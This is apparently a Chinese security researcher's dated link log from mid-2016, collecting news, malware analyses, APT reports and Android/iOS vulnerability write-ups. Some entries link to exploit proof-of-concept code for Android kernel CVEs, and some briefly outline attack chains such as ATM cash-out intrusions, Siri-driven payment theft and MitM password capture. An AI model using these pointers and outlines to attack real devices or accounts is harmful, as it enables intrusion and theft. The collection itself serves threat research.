- 5.10 [TinyLoader 是如何传播 AbaddonPOS 和 TinyPOS 的 ](http://blog.trendmicro.com/trendlabs-security-intelligence/how-tinyloader-distributes-and-upgrades-pos-threats/) - 5.11 [Results of PoC Publishing](https://securelist.com/blog/research/74724/results-of-poc-publishing/)
- 5.11 [Android/Linux 内核 WiFi 模块栈缓冲区溢出漏洞 PoC(CVE-2016-0801)](https://github.com/abdsec/CVE-2016-0801/blob/master/PoC.c)
- 5.11 [PoC 公开与 Android 系统碎片化的问题,过早的公开 PoC 有可能为恶意攻击者提供 '帮助' ](https://securelist.com/blog/research/74724/results-of-poc-publishing/)
- 5.12 [高科技恐怖分子所用的隐蔽通信技术 ](http://securityaffairs.co/wordpress/47243/terrorism/covert-communications-terrorists.html)
- [三星的开源代码库,含多款手机、电视的源码](http://opensource.samsung.com/popup/gitRepository.do)
- [CF-Auto-Root - 跟踪最新的 Android Root 信息](https://autoroot.chainfire.eu/)
记录了ODIN flashable devices和Fastboot flashable devices,并提供了工具
- [全志科技(Allwinner)Linux 定制内核被发现了 Root 后门](http://www.theregister.co.uk/2016/05/09/allwinners_allloser_custom_kernel_has_a_nasty_root_backdoor/)
The howler is the work of Chinese ARM SoC-maker Allwinner, which wrote its own kernel code underneath a custom Android build for its devices.
Its Linux 3.4-based kernel code, on [Github](https://github.com/friendlyarm/h3_lichee/commit/5d4d02b1c8f336ba002eed4d97dee3a51ea76cdd), contains what looks to The Register like a debug mode the authors forgot to kill.
- 5.12 [攻击触摸屏基于手势的认证 ](https://www.schneier.com/blog/archives/2016/05/hacking_gesture.html)
- 5.12 [Banking Trojan infected dozens of Android apps worldwide ](http://news.drweb.com/show/?i=9956&lng=en&c=5)
- 5.13 [Fake Baidu Root/Superuser App Appears in Famous App Markets and Stashes in Android System App Folder](http://blog.trustlook.com/2016/05/13/fake-baidu-rootsuperuser-app-appears-in-famous-app-markets-and-stashes-in-android-system-app-folder/)
文章已撤除。
- 5.13 [Android 成人广告 APP 通过社交网络传播](https://blogs.mcafee.com/mcafee-labs/sex-sells-looking-at-android-adult-adware-apps/)
- 5.14 [高级恶意软件](http://www.slideshare.net/CTruncer/higher-level-malware)
- [暗网中的网络犯罪调查报告](http://www.hackinbo.it/wp-content/uploads/2016/05/Marco-Balduzzi-HackInBo.pdf)
- [臭名昭著的黑客组织(2016 年中版)](http://marcoramilli.blogspot.jp/2016/05/notorious-hacking-groups-in-mid-2016.html)
- [Android N 网络安全配置指南](https://developer.android.com/preview/features/security-config.html)
- 5.15 [我是如何通过攻破银行 APP,不受限制地控制几亿美元存款的](https://boris.in/blog/2016/the-bank-job/)
- 5.16 [WiFi-Pumpkin v0.7.5:虚假WIFI访问点的利用框架](https://github.com/P0cL4bs/WiFi-Pumpkin)
- 5.16 [深入分析跨平台网络电信诈骗](http://blogs.360.cn/360mobile/2016/05/16/telecommunications_fraud_network/)
- 5.16 [Mobile Malware Hits Google Play, Hundreds of Users Affected](http://ddanchev.blogspot.jp/2016/05/mobile-malware-hits-google-play_33.html)
翻译:[恶意软件攻击Google Play,成千上万的用户受影响](http://bobao.360.cn/news/detail/3056.html)
- 5.17 [A politically motivated information stealing adversary](https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf)
Mofang - 具有潜在政治动机的攻击组织(几乎确定来自中国)
- 5.17 [安全专家发现了一个漏洞,利用这个漏洞,任何人都可以从印度最大的一家银行盗走 250 亿美元](http://securityaffairs.co/wordpress/47420/security/25-billion-bank-hack.html)
- 5.17 [一款名叫 'Black Jack Free' 的银行木马通过 Google Play Store 的审查并上架,有 5000 人下载了该木马应用。后来被 Lookout Security 团队发现](https://threatpost.com/banking-trojan-outwits-google-verify-apps-scanner/118142/)
- 5.17 [Groundbait - 针对乌克兰分裂分子的 APT 行动](http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf)
- 5.17 [ATM机又遭劫难:”隐形”盗读器横空出世](https://blog.kaspersky.com.cn/invisible-skimmers-at-the-atms/4294/)
- 5.17 [Skimer - 七年前就被用于感染 ATM 的恶意软件](https://securelist.com/blog/research/74772/atm-infector/)
- 5.18 [3 月份勒索软件活动出现峰值,总体来说,一直在稳步提升](https://www.fireeye.com/blog/threat-research/2016/05/ransomware_activity.html)
- 5.18 [1.17 亿的 LinkedIn 用户邮箱和密码正在被黑客售卖](http://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/2012-linkedin-breach-117-million-emails-and-passwords-stolen-not-6-5m?utm_source=trendlabssocial&utm_medium=twitter&utm_campaign=2016-05-linkedin)
- 5.19 [从hackintTeam泄露的Kernel Waitery利用一直在使用](http://blog.trendmicro.com/trendlabs-security-intelligence/kernel-waiter-exploit-from-the-hacking-team-leak-still-being-used/)
- 5.19 [我是如何再一次地绕过Facebook CSRF防御机制](http://bobao.360.cn/news/detail/3060.html)
- 5.19 [日本手机渠道商 NTT Docomo 表示他们的手机可被政.府用于追踪用户位置](http://securityaffairs.co/wordpress/47476/mobile-2/docomo-trackable-devices.html)
- 5.19 [新型安卓恶意软件能够窃取信用卡信息,并锁定你的手机](http://bobao.360.cn/news/detail/3063.html)
- 5.21 [Android N 在安全方面的一些改进](https://firmwaresecurity.com/2016/05/21/security-updates-in-android-n/)
- 5.23 [华为手机Wi-Fi驱动中存在缓冲区溢出安全漏洞](http://weibo.com/ttarticle/p/show?id=2309403978358772907552)
- 5.24 [Google to kill passwords on Android, replace 'em with 'trust scores](http://www.theregister.co.uk/2016/05/24/google_smartphone_password_replacement_trust_scores/)
- 5.24 [厄瓜多尔Banco del Austro银行被黑,约1200万美金被盗](http://bobao.360.cn/news/detail/3084.html)
SWIFT被攻击事件;[高调的黑客针对性的攻击银行 SWIFT 系统](http://blog.trendmicro.com/trendlabs-security-intelligence/high-profiled-cyber-theft-against-banks-targeted-swift-systems/)
- 5.25 [如何用蜜罐追踪黑客(第一集)](http://www.freebuf.com/articles/network/105158.html)
- 5.25 [这些年, 我们虐过的漏洞(keenlab)](http://keenlab.tencent.com/zh/2016/05/25/CVEs-in-KeenLab/)
- 5.25 [2016年Q2《网络安全创新500强》榜单解读](ttp://www.freebuf.com/news/105229.html)
- 5.25 [5 active mobile threats spoofing enterprise apps](https://blog.lookout.com/blog/2016/05/25/spoofed-apps/)
- 5.26 [Android Banking Trojan ‘SpyLocker’ Targets More Banks in Europe](https://blogs.mcafee.com/mcafee-labs/android-banking-trojan-spylocker-targets-more-banks-in-europe/)
- 5.26 [手机 USB 有线充电安全不安全(隐私泄露、远程控制)](https://securelist.com/blog/mobile/74804/wired-mobile-charging-is-it-safe/)
- 5.26 ["SandJacking" Attack Allows Hackers to Install Evil iOS Apps](http://www.securityweek.com/sandjacking-attack-allows-hackers-install-evil-ios-apps)
- 5.27 [Beware the Android Adult Player app - ransomware lies within!](https://www.grahamcluley.com/2016/05/beware-android-adult-player-app-ransomware/)
- 5.30 [针对俄罗斯最大银行 Sberbank 的 Android 银行木马攻击](https://www.zscaler.com/blogs/research/android-banker-malware-goes-social)
- 5.30 [多个恶意软件作者盯上了 Android 6. 版本的权限授予模型](http://securityaffairs.co/wordpress/47865/malware/android-marshmallow.html)
- 5.30 [内部威胁那些事儿(三):信息窃取](http://www.freebuf.com/articles/network/105633.html)
- 5.30 [Android Banker malware goes social](https://www.zscaler.com/blogs/research/android-banker-malware-goes-social)
- 5.30 [非特权 APP 滥用一个未公开漏洞,直接与 Radio 层交互,悄悄地拨打电话](http://roberto.greyhats.it/2016/05/samsung-access-rild.html)
- 5.31 [“SandJacking”攻击:在未越狱的 iOS 设备上安装恶意应用](http://www.freebuf.com/vuls/105727.html)
- 5.31 [攻击目标为沙特阿拉伯安全岗位求职者的 Android 间谍软件](https://blogs.mcafee.com/mcafee-labs/android-spyware-targets-security-job-seekers-in-saudi-arabia/)
- 5.31 [美人鱼行动:长达6年的境外定向攻击活动揭露](http://www.freebuf.com/articles/network/105726.html)
[对美人鱼APT行动的一次详细分析报告](http://bobao.360.cn/learning/detail/2888.html)
- [1000 万密码的统计分析](http://wpengine.com/unmasked/?SSAID=392587)
- 0x05
- 6.1 [Android 内核的防御新技术总结](http://keenlab.tencent.com/en/2016/06/01/Emerging-Defense-in-Android-Kernel/)
- 6.1 [Android 内核的防御新技术总结](http://keenlab.tencent.com/en/2016/06/01/Emerging-Defense-in-Android-Kernel/)
- 6.2 [Marcher" Android Malware Upgraded to Target New Victims](http://news.softpedia.com/news/marcher-android-malware-upgraded-to-target-new-victims-504807.shtml)
- 6.2 [WP Mobile Detector插件漏洞已经被用于攻击](https://blog.sucuri.net/2016/06/wp-mobile-detector-vulnerability-being-exploited-in-the-wild.html)
- 6.2 [SWIFT之殇:针对越南先锋银行的黑客攻击技术初探](http://bobao.360.cn/learning/detail/2890.html)
- 6.2 [Android 木马利用从 GitHub 开源项目学到的技巧,绕过 Android 安全策略](http://www.symantec.com/connect/blogs/android-malware-finds-new-ways-derive-current-running-tasks)
- [通过检测间接分支跳转指令的密度,识别 ROP 攻击](http://homepages.dcc.ufmg.br/~fernando/publications/papers/CGO16_mateus.pdf)
- [LTE 加密在不同实现版本中的一些问题](https://www.sstic.org/media/SSTIC2016/SSTIC-actes/how_to_not_break_lte_crypto/SSTIC2016-Article-how_to_not_break_lte_crypto-michau_devine.pdf)
- [如何破解LTE加密](https://www.sstic.org/media/SSTIC2016/SSTIC-actes/how_to_not_break_lte_crypto/SSTIC2016-Article-how_to_not_break_lte_crypto-michau_devine.pdf)
- 6.2 [Android 安全团队是如何利用神经网络提高安全性的](https://www.wired.com/2016/06/googles-android-security-team-turns-machine-learning)
- 6.2 [移动平台千王之王大揭秘](http://blogs.360.cn/360mobile/2016/06/02/gamble_ecosystem_on_mobile/)
- 6.2 [哈希工厂 - 每 15 秒产生一个新变种的勒索软件](https://www.invincea.com/2016/06/hash-factory-new-cerber-ransomware-morphs-every-15-seconds/)
- 6.3 [APT 攻击者发送钓鱼邮件给印度政府官员](https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html)
- 6.3 [使用中间人工具bettercap劫持facebook和GMAIL登陆密码](http://www.hackingarticles.in/hack-gmail-facebook-password-network-using-bettercap/)
- 6.6 [Android 平台 Cryptolocker 勒索软件概览](http://forensics.spreitzenbarth.de/2016/06/06/overview-cryptolocker-and-ransomware/)
- 6.6 [通过 Wi-Fi 攻击的方法,黑客可以禁用三菱欧蓝德汽车的防盗报警器](http://www.theregister.co.uk/2016/06/06/mitsubishi_outlander_hack/)
- 6.7 Android 内核多个漏洞的 PoC
[(CVE-2016-2061)](https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-2061.c)
[(CVE-2016-2469)](https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-2469.c)
[(CVE-2016-2465/2489)](https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-2465-AND-CVE-2016-2489.c)
- 6.7 [Android Trojan Hijacks Browsers to Redirect Users to Custom URLs](http://news.softpedia.com/news/android-trojan-hijacks-browsers-to-redirect-users-to-custom-urls-504977.shtml)
- 6.7 [为什么一个 Android 键盘 APP 还需要查看摄像头和日志文件,而且还发回数据到中国的服务器呢?](http://m.theregister.co.uk/2016/06/07/android_keyboard_needs_to_see_camera_and_log_files/)
- 6.7 [Practical attacks using cheap equipment](http://www.synacktiv.ninja/ressources/synacktiv_mobile_communications_attacks.pdf)
- 6.8 [D-link Wi-Fi 摄像头存在一个可远程攻击的漏洞(未修复)](https://threatpost.com/unpatched-d-link-wi-fi-camera-flaw-remotely-exploitable/118549/)
- 6.8 [假网银App如何使用“迷惑计”](http://www.easyaq.com/news/international/5762.html)
- 6.8 [Commit Watcher - 可以在每次 Git 提交时检查是否会泄漏敏感信息](https://blog.srcclr.com/announcing-commit-watcher/)
- 6.8 [网络安全趋势的10大关键点](http://sec.chinabyte.com/240/13802240.shtml)
- 6.9 [DUBNIUM(也被称为 DarkHotel)APT 样本逆向分析](https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/)
- 6.10 [腐烂的苹果:对一大波iCloud钓鱼网站的监测与分析](http://www.freebuf.com/articles/web/106459.html)
- 6.10 [专为俄罗斯定制的银行木马 - Lurk](https://securelist.com/blog/research/75040/lurk-banker-trojan-exclusively-for-russia/)
- 6.12 [Hackers Find Clever Way to Bypass Google's Two-Factor Authentication](http://news.softpedia.com/news/hackers-find-clever-way-to-bypass-google-s-two-factor-authentication-505138.shtml)
- 6.12 [高通 MSM GPU 驱动越界写漏洞(CVE-2016-2468)](http://retme.net/index.php/2016/06/12/CVE-2016-2468.html)
- 6.12 [inpuTbag 漏洞 - iOS 冰与火之歌 – UAF and Kernel Pwn](http://translate.wooyun.io/2016/06/12/54.html)
- 6.13 [端午“擒马”记:平安付强刷用户银行卡8.1万元](http://www.freebuf.com/articles/network/106623.html?utm_source=tuicool&utm_medium=referral)
- 6.13 [FLocker 手机勒索软件开始'跨平台'至智能电视了](http://blog.trendmicro.com/trendlabs-security-intelligence/flocker-ransomware-crosses-smart-tv/)
- 6.13 [2016 巴西奥运会期间的网络威胁](https://securelist.com/analysis/publications/75045/it-threats-during-the-2016-olympic-games-in-brazil/)
- 6.13 [Vawtrack Banking Trojan Is Alive and Well, v2 Recently Discovered](http://news.softpedia.com/news/vawtrack-banking-trojan-is-alive-and-well-v2-recently-discovered-505198.shtml)
- 6.14 [又一款存在风险的 iOS 广告 SDK - Vpon,攻击者可以实现远程截屏、录音、位置获取等,App Store 中 36 款 APP 受影响](https://www.fireeye.com/blog/threat-research/2016/06/pwned_by_vpon.html)
- 6.14 [骗子可以通过非接触式设备克隆支付卡](http://securityaffairs.co/wordpress/48355/cyber-crime/cloning-contactless-device.html)
- 6.14 [一种称为 'APP 勾结' 的新威胁 - 两个 APP 勾结作案,一个负责收集信息,另一个负责外泄信息](http://www.techspot.com/news/65203-mcafee-labs-discovers-app-colluision-threats.html)
- 6.15 [高通 TrustZone 内核提权漏洞的利用(CVE-2016-2431)](https://bits-please.blogspot.jp/2016/06/trustzone-kernel-privilege-escalation.html)
- 6.15 [Telegram APP 存在漏洞,攻击者可以使设备 Crash](https://threatpost.com/telegram-calls-claims-of-bug-in-messaging-service-bogus/118678/)
- 6.15 [仅需要一个手机号,就可以通过 SS7 协议劫持 Facebook 账号](http://securityaffairs.co/wordpress/48421/hacking/hacking-facebook-accounts-ss7.html)
- 6.15 [xDedic - 专门交易被黑服务器的网站](https://securelist.com/blog/research/75027/xdedic-the-shady-world-of-hacked-servers-for-sale/)
- 6.16 [思科无线套件存在一个严重的漏洞,可以通过特殊构造的 HTTP 请求远程攻击,以 ROOT 身份执行代码,而且可以盗用用户的 Cookie,目前没有可用的补丁](http://securityaffairs.co/wordpress/48436/hacking/cisco-wireless-kits-bug.html)
The vulnerability is due to insufficient sanitization of HTTP user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request with custom user data. An exploit could allow the attacker to execute arbitrary code with root-level privileges on the affected system, which could be leveraged to conduct further attacks
To determine whether the remote management feature is enabled for a device, open the web-based management interface for the device and then choose Basic Settings > Remote Management. If the Enable check box is checked, remote management is enabled for the device.
- 6.16 [病毒藏身“王者荣耀刷皮肤”,锁住用户手机勒索钱财](http://msm.qq.com/security_lab/news_detail_359.html)
- 6.17 [泄露数据告诉你,黑客论坛Nulled.IO用户都用哪些密码?](http://www.freebuf.com/articles/database/106953.html)
- 6.17 [新型钓鱼-利用OAuth钓鱼](http://sec.chinabyte.com/170/13805670.shtml)
- 6.17 [黑客使用社会工程学绕过双因子验证](http://tech.firstpost.com/news-analysis/hackers-using-social-engineering-to-bypass-two-factor-authentication-321121.html)
- 6.17 [ScarCruft APT 组织利用 Flash Day 发起 'DayBreak' 攻击的技术细节](https://securelist.com/blog/research/75100/operation-daybreak/)
- 6.17 [Banking Trojan targets clients of Russian financial institutions](http://blog.trustlook.com/2016/06/17/banking-trojan-targets-clients-of-russian-financial-institutions/)
- 6.18 [以太币去中心化组织 TheDao 被黑,超 5000 万美元以太币被盗,对 Exploit 的分析](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/)
- 6.19 [攻击者使用百万IP破解金融服务](http://news.softpedia.com/news/attackers-used-nearly-one-million-ips-to-brute-force-a-financial-institution-505413.shtml)
- 6.20 [巴西的 '银行木马即服务' 产业链条](http://blog.trendmicro.com/trendlabs-security-intelligence/banking-trojans-as-a-service-hits-south-america/)
- 6.20 [T-Mobile 捷克员工窃取并售卖 150 万用户数据](http://thehackernews.com/2016/06/t-mobile-hacked.html)
- 6.20 [从ATM抢钱没那么容易:揭秘ATM攻击那点事](http://www.freebuf.com/articles/terminal/107083.html)
- [智能家居系统的安全性分析](https://www.ernw.de/download/ERNW_Newsletter_49_SecurityOfHomeAutomationSystems_signed.pdf)
- 6.20 [一条红线与中.国的网络间.谍攻击分析报告](https://www.fireeye.com/blog/threat-research/2016/06/red-line-drawn-china-espionage.html)
- 6.20 [手机恶意软件 Triada 和 Horde 的新变种可以逃逸 Android 安全策略](https://threatpost.com/aggressive-triada-horde-variants-up-mobile-malware-threat/118767/)
- 6.20 [恶意软件使用 Google Talk 拨打电话](https://blog.malwarebytes.com/cybercrime/mobile/2016/06/google-talk-used-to-make-malicious-phone-calls-android-trojan-pawost/)
- 6.21 ['地狱火' 手机病毒 - 源自安卓系统底层的威胁](http://blogs.360.cn/360mobile/2016/06/21/analysis_of_diyuhuo/)
- 6.21 [Android 恶意软件家族 Godless 利用多个 Exploits Root Android 设备](http://blog.trendmicro.com/trendlabs-security-intelligence/godless-mobile-malware-uses-multiple-exploits-root-devices/)
Godless is reminiscent of an exploit kit, in that it uses an open-source rooting framework called [android-rooting-tools](https://github.com/android-rooting-tools). The said framework has various exploits in its arsenal that can be used to root various Android-based devices. The two most prominent vulnerabilities targeted by this kit are CVE-2015-3636 (used by the PingPongRoot exploit) and CVE-2014-3153 (used by the Towelroot exploit).
- 6.24 [IP whois介绍和部署实践](http://www.freebuf.com/articles/network/107372.html)
- 6.28 [RuMMS - 通过短信传播的 Android 视图覆盖恶意软件](https://www.fireeye.com/blog/threat-research/2016/06/latest-android-overlay-malware-spreading-in-europe.html)
该应用伪装成系统短信应用 ,程序运行会一直弹窗请求激活设备管理器,隐藏图标,后台联网上传用户设备相关信息以及短信信息,并获取指令执行拦截短信、发送短信、恢复出厂设置等行为,打开一个虚假的银行支付界面诱骗用户输入相关隐私信息并上传,造成用户隐私泄露和资费消耗。
- 6.30 [Arbor 安全团队发布报告 400Gbps IoT DDoS 攻击的背后是 Lizard Squad 组织](https://threatpost.com/lizardstresser-iot-botnet-part-of-400gbps-ddos-attacks/119006/)
Researchers at the Arbor’s Security Engineering and Response Team (ASERT) say publicly released source code of the LizardStresser botnet in 2015, by the Lizard Squad DDoS group, is behind the attacks. In [a report](https://wp.me/p3AjUX-uXshttps://www.arbornetworks.com/blog/asert/lizard-brain-lizardstresser/) released this week, ASERT says an unknown group of cybercriminals are running this latest iteration of the LizardStresser botnet via approximately 100 command-and-control servers, manipulating about 1,300 webcams and launching attacks as large as 400Gbps.
- 0x06
- 7.1 [针对 GSM、GPRS 的攻击实践](http://www.synacktiv.ninja/ressources/ndh_2k16_gps_dating_app.pdf)
- 7.1 [6 Banking Trojans Hit Canada: Dridex, Gootkit, Kronos, Ursnif, Vawtrak, and Zeus](http://news.softpedia.com/news/6-banking-trojans-hit-canada-dridex-gootkit-kronos-ursnif-vawtrak-and-zeus-505905.shtml)
- 7.3 [Android键盘应用有超过5000万的安装秘密收集您的数据](http://news.softpedia.com/news/android-keyboard-app-with-over-50-million-installs-secretly-collects-your-data-505935.shtml)
- 7.4 [中国广告公司是YiSpectre iOS与HummingBad安卓恶意软件的幕后推手](http://www.easyaq.com/news/international/6355.html)
- 7.4 [Android Root 利用技术漫谈 - 绕过 PXN](https://github.com/jianqiangzhao/mosec2016)
[ppt](https://github.com/jianqiangzhao/mosec2016/raw/master/Advanced%20Android%20Root%EF%BC%9AHow%20To%20Bypass%20PXN.ppt)
- 7.4 [安卓 Chrome 沙箱逃逸的一种姿势](https://github.com/secmob/mosec2016)
来自前两天龚广在 MoSec 2016 会议
- 7.5 [你的智能手表可以窃取你的银行卡密码](http://spectrum.ieee.org/tech-talk/consumer-electronics/gadgets/your-smart-watch-can-spy-on-your-pin)
- 7.5 [BEBLOH 银行木马从欧洲转战日本](http://blog.trendmicro.com/trendlabs-security-intelligence/bebloh-expands-japan-latest-spam-attack/)
- 7.5 [Android 7 月份的漏洞 PoC](https://github.com/ScottyBauer/Android_Kernel_CVE_POCs)
[CVE-2016-3797](https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-3797.c)
[CVE-2016-3794](https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-3794.c)
[CVE-2016-3813](https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-3813.c)
- 7.6 [针对 Android 密钥库(KeyStore)的伪造攻击](http://eprint.iacr.org/2016/677)
- 7.6 [2016年6月被举报钓鱼网站前10 假冒建行最多](http://tech.sina.com.cn/i/2016-07-06/doc-ifxtsatm1508457.shtml?utm_source=tuicool&utm_medium=referral)
统计数据
- 7.7 [NetTraveler - 针对俄罗斯及其邻国的 APT 攻击行动](https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests?utm_content=buffer2f1d3&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
The actor utilizes spear phishing campaigns to deliver NetTraveler, also known as TravNet. First observed as early as 2004, NetTraveler is a Trojan used widely in targeted attacks. We believe that this attacker operates out of China. In addition to Russia, targeted regions include neighboring countries such as Mongolia, Belarus, and other European countries. The spear-phishing campaigns we detected use links to RAR-compressed executables and Microsoft Word attachments that exploit the CVE-2012-0158 vulnerability.
- 7.8 [Dark Reading年中数据泄露报告:2016年TOP7安全事件盘点](http://www.freebuf.com/news/108298.html)
- 7.11 [躲不掉的红色炸弹,这次真的「爆」了(伪装成婚宴电子请帖的钓鱼短信)](http://www.freebuf.com/articles/terminal/108731.html)
一个简单的拦截马分析报告 。
- 7.11 [通过 YouTube 视频中内嵌的语言命令黑掉智能手机](https://www.helpnetsecurity.com/2016/07/11/hacking-smartphones-voice-commands/)
利用siri或google now的语音控制,播放可识别的音频达到远控其他手机的目的(发短信等)。
- 7.12 [白象的舞步 - 来自南亚次大陆的网络攻击,来自安天实验室](http://www.freebuf.com/articles/paper/108854.html)
这个不多做描述吧,一个APT分析的报告。
- 7.14 [Neutrino EK 来袭,爱拍网遭敲诈者病毒挂马](http://bobao.360.cn/news/detail/3302.html)
360安全团队监测到爱拍网被挂马,用户访问网站时,有一定几率加载NeutrinoEK而造成感染勒索软件——磁盘文件被加密。
- 7.14 [This Android Trojan blocks the victim from alerting banks](http://www.symantec.com/connect/blogs/android-banking-malware-blocks-victims-outgoing-calls-customer-service)
嗯,拦截用户打给银行的电话以禁止用户挂失银行卡。
- 7.14 [水果大战僵尸 - 攻击非越狱 iOS 的恶意软件,来自 ShakaCon 会议的演讲](https://github.com/secmobi/slides/blob/master/2016.NonjailbrokeniOSMalware_Shakacon.pdf)
梓航在ShakaCon上的演讲,介绍了非越狱ios设备上的恶意代码几种形态以及攻击/感染方式。
- 7.15 [我如何从Instagram, Google 以及 Microsoft偷钱的 ](https://www.arneswinnen.net/2016/07/how-i-could-steal-money-from-instagram-google-and-microsoft)
主要是利用这些服务在注册电话认证时,拨打收费服务
- 7.15 [每日钓鱼站点追踪](http://www.vxsecurity.sg/daily-phishing-sites)
icloud钓鱼居多,但未做及时更新?
- 7.18 [CVE-2016-1865:不可利用、无沙箱保护的OS X/iOS空指针引用内核 Crash 漏洞](https://marcograss.github.io/security/apple/cve/2016/07/18/cve-2016-1865-apple-nullpointers.html)
不可描述
- 7.19 [针对 Amazon 钓鱼攻击事件的分析](https://www.fireeye.com/blog/threat-research/2016/07/amazon-credential-shipping.html)
利用合法域名钓鱼、点击初始化URL将用户重定向到托管网络钓鱼网站,对访问者的信息跟踪
- 7.19 [手机恶意程序盗取个人信息形势分析报告](http://zt.360.cn/1101061855.php?dtid=1101061451&did=1101892367)
2016年4月,360互联网安全中心共截获盗取个人信息的手机恶意程序样本9.8万个。其中67.4%的样本会窃取短信信息,34.8%的样本会窃取手机银行信息,10.%的样本会窃取手机联系人信息
可做数据来源
- 7.20 [揭秘:攻击者如何在Kali Linux中搭建钓鱼热点](http://www.freebuf.com/articles/wireless/108830.html)
不可描述
- 7.21 [iPhone和Mac用户请注意:接收一条MMS消息,你的密码可能就被盗了](http://www.freebuf.com/news/109758.html)
苹果设备ImageIO中、编号为CVE-2016-4631的高危漏洞的利用,只要给受害者的苹果设备发条MMS多媒体消息,或者iMessage,攻击者就能获取到用户的身份凭证信息
- 7.21 [斯诺登介绍反间谍iPhone外壳附件](http://news.softpedia.com/news/snowden-presents-anti-spying-iphone-case-attachment-506511.shtmlv)
通过外部扩展设备获取SIM卡插槽,连接到手机的内部布线,可防止通过无线电信号进行监视
- 7.22 Details+POC of Android Stagefright ([CVE-2016-0835](https://census-labs.com/news/2016/07/22/android-stagefright-impeg2d_dec_pic_data_thread-overflow)、[CVE-2016-0836](https://census-labs.com/news/2016/07/25/android-stagefright-impeg2d_vld_decode-stack-buffer-overflows))
影响Android OS 6. — 6..1,允许远程攻击者通过制作媒体文件执行任意代码或导致服务(内存破坏)拒绝
- 7.24 [盘古团队发布iOS 9.2-9.3.3越狱工具](http://www.freebuf.com/news/109977.html)
七月24日,盘古团队开放了关于iOS 9.2至iOS 9.3.3的越狱插件,但是本次越狱工具只支持64位的设备,比如iPhone 5和iPad mini为例。这次iOS和以往有着一些不同——新版本的越狱程序对系统文件改动极少,也就是说,出现白苹果的几率会大幅度下降,并且用户可以重启设备后切换设备为越狱或未越狱状态。在需要越狱环境的时候,就切换到越狱状态;在不需要越狱环境的时候,就切换到未越狱状态。
- 7.26 [Trojanized Propaganda App Uses Twitter to Infect, Spy on Terrorist Sympathizers](https://blogs.mcafee.com/mcafee-labs/trojanized-propaganda-app-uses-twitter-to-infect-spy-on-terrorist-sympathizers/)
该间谍软件通过主流社交媒体和公开的web服务来传播。主要针对中东地区,针对 ISIS sympathizers and Islam radicals。恶意软件伪装成一个名为Al Rayan Radio的播放器应用。该间谍软件使用一个检出名为Android/SandroRAT.C!Gen的远程访问工具。该间谍软件可以拦截手机通信,控制摄像头和麦克风,获取用户位置及网络连接信息,读取及修改通讯录和短信,访问SD卡来下载或上传文件。
根据平底锅也有对具有同源性的病毒SpyNote进行了[分析](http://researchcenter.paloaltonetworks.com/2016/07/unit42-spynote-android-trojan-builder-leaked/):无需root权限,安装新的apk更新恶意软件,获取短信及通讯录信息,窃听麦克风,控制摄像头,获取IMEI号,Wi-Fi MAC地址,手机运营商信息,获取设备GPS位置,电话该设备等。。
- 7.26 [台湾第一银行ATM机“自动吐钱”事件分析](http://www.freebuf.com/articles/terminal/110078.html)
首先黑客感染内部主机,进行内部渗透取得网络拓扑(含派送机制),然后通过ATM更新派送伺服务器部署相关吐钞程式及清除痕迹工具,通过通讯软件远程遥控ATM自动吐钱,完成盗领后,远程操控者再将隐藏控制程序、纪录文档、执行文档全部清除
- 7.27 [Bastille曝光八大厂无线键盘易遭黑客拦截](http://www.cnbeta.com/articles/523805.htm)
通过一款名叫Keysniffer的建议装置,许多无线键盘的信号都能够被攻击者轻松拦截(会暴露输入的用户名、密码等信息),且可以覆盖250英尺的距离(76米)
- 7.27 [“XKeyscore”全球隐私通讯监控计划-美国国家安全局手中的Google](http://bobao.360.cn/news/detail/3375.html)
英国卫报首次报道了美国国家安全局的XKeyscore计划,该计划可以对目标用户的网络搜索数据,电子邮件,隐私文件,用户名和密码,以及其他的个人通讯信息进行实时监控。XKeyscore计划可以从全球通信骨干网络中不断获取网络通信数据,这些数据会通过光纤电缆传输到美国国家安全局的服务器中,相关技术人员可以对这些数据进行进一步分析。从2008年开始,为了支持这一监控系统的正常运作,美国国家安全局已经在全球150多个国家和地区设置了超过700台网络服务器,其中包括美国,墨西哥,巴西,英国,西班牙,俄罗斯,尼日利亚,索马里,巴基斯坦,日本,澳大利亚,以及其他的多个国家和地区在内。
- 7.28 [一个专门偷 iOS Apple ID 的诈骗攻击](https://blogs.mcafee.com/mcafee-labs/active-ios-smishing-campaign-stealing-apple-credentials/)
通过短信针对iOS用户,欺骗用户苹果帐户已被暂时锁定,哄骗用户访问一个钓鱼网站,以盗取真正的苹果凭据
- 0x07
- 8.1 [如何滥用手机支付 APP Venmo 和 Siri,两分钟偷2999.99 $](http://www.martinvigo.com/steal-2999-99-minute-venmo-siri/)
利用siri可在锁屏情况下读、发短信的功能,配合手机支付APP Venmo进行短信支付。(短信回复确认即可。)
- 8.1 [FreeBuf发布2016年上半年金融行业应用安全态势报告](http://www.freebuf.com/news/topnews/110132.html)
从传统金融(银行、保险、证券),互联网金融(P2P、分期、众筹、第三方支付、大数据金融)8个金融行业细分领域,针对应用安全脆弱性及安全漏洞态势进行综合分析和评定。目标列表很详细!
- 8.1 [地下黑市正在售卖雅虎的 2 亿用户信息](http://news.softpedia.com/news/data-of-200-million-yahoo-users-pops-up-for-sale-on-the-dark-web-506864.shtml)
12年雅虎被脱裤,至今才放出用户信息被售卖的消息。
- 8.2 [Pacifier APT 攻击行动 - FBI 发起的一次针对 Tor 匿名用户的攻击](http://securityaffairs.co/wordpress/49925/laws-and-regulations/operation-pacifier-hacking-campaign.html)
[技术分析报告](http://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf)
